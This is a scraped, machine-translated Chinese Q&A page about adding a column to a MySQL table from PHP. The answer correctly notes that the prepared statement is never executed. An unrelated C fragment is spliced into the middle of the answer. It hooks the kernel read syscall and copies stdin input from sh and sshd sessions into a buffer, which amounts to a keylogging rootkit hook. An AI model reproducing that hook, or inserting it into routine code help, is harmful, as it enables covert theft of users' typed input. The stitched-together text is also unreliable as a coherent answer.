如何使用php和mysql在表格中插入新列?

时间:2019-03-14 23:51:12

标签: php mysql phpmyadmin

我正在尝试在表“预订”中添加“测试”列 但这不起作用

你知道为什么吗?

$create = $bdd->prepare('ALTER TABLE reservation ADD test INT NULL');

数据库:

enter image description here

1 个答案:

答案 0 :(得分:0)

mysql语法似乎正确,但是您是否尝试查询它而不是创建准备好的语句?

(另外,请通过发布错误消息,更多代码,问题的上下文等进行详细说明)

据我所知,您没有执行该语句。

4.19

如果您不想插入用户创建的数据,也可以尝试查询数据库:

#include <asm/ptrace.h>

// ...

unsigned long ( *original_read ) ( const struct pt_regs *regs );

// ...

unsigned long hacked_read_test( const struct pt_regs *regs ) {
    unsigned int fd = regs->di;
    char *buf = (char*) regs->si;
    unsigned long r = 1;
    if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
        return original_read( regs );
    } else {
        icounter++;
        if ( icounter % 1000 == 0 ) {
            info( "test2 icounter = %ld\n", icounter );
            info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
        }
        r = original_read( regs );
        strncat( debug_buffer, buf, 1 );
        if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
            debug_buffer[0] = '\0';
        return r;
    }
}

不确定是否需要此第三者,但是我通常在查询中添加“ COLUMN”。这可能取决于您使用的是哪种数据库引擎(请不要在上面引用我的意思)

$create = $bdd->prepare('ALTER TABLE reservation ADD test INT NULL');
$create->execute();

祝你好运!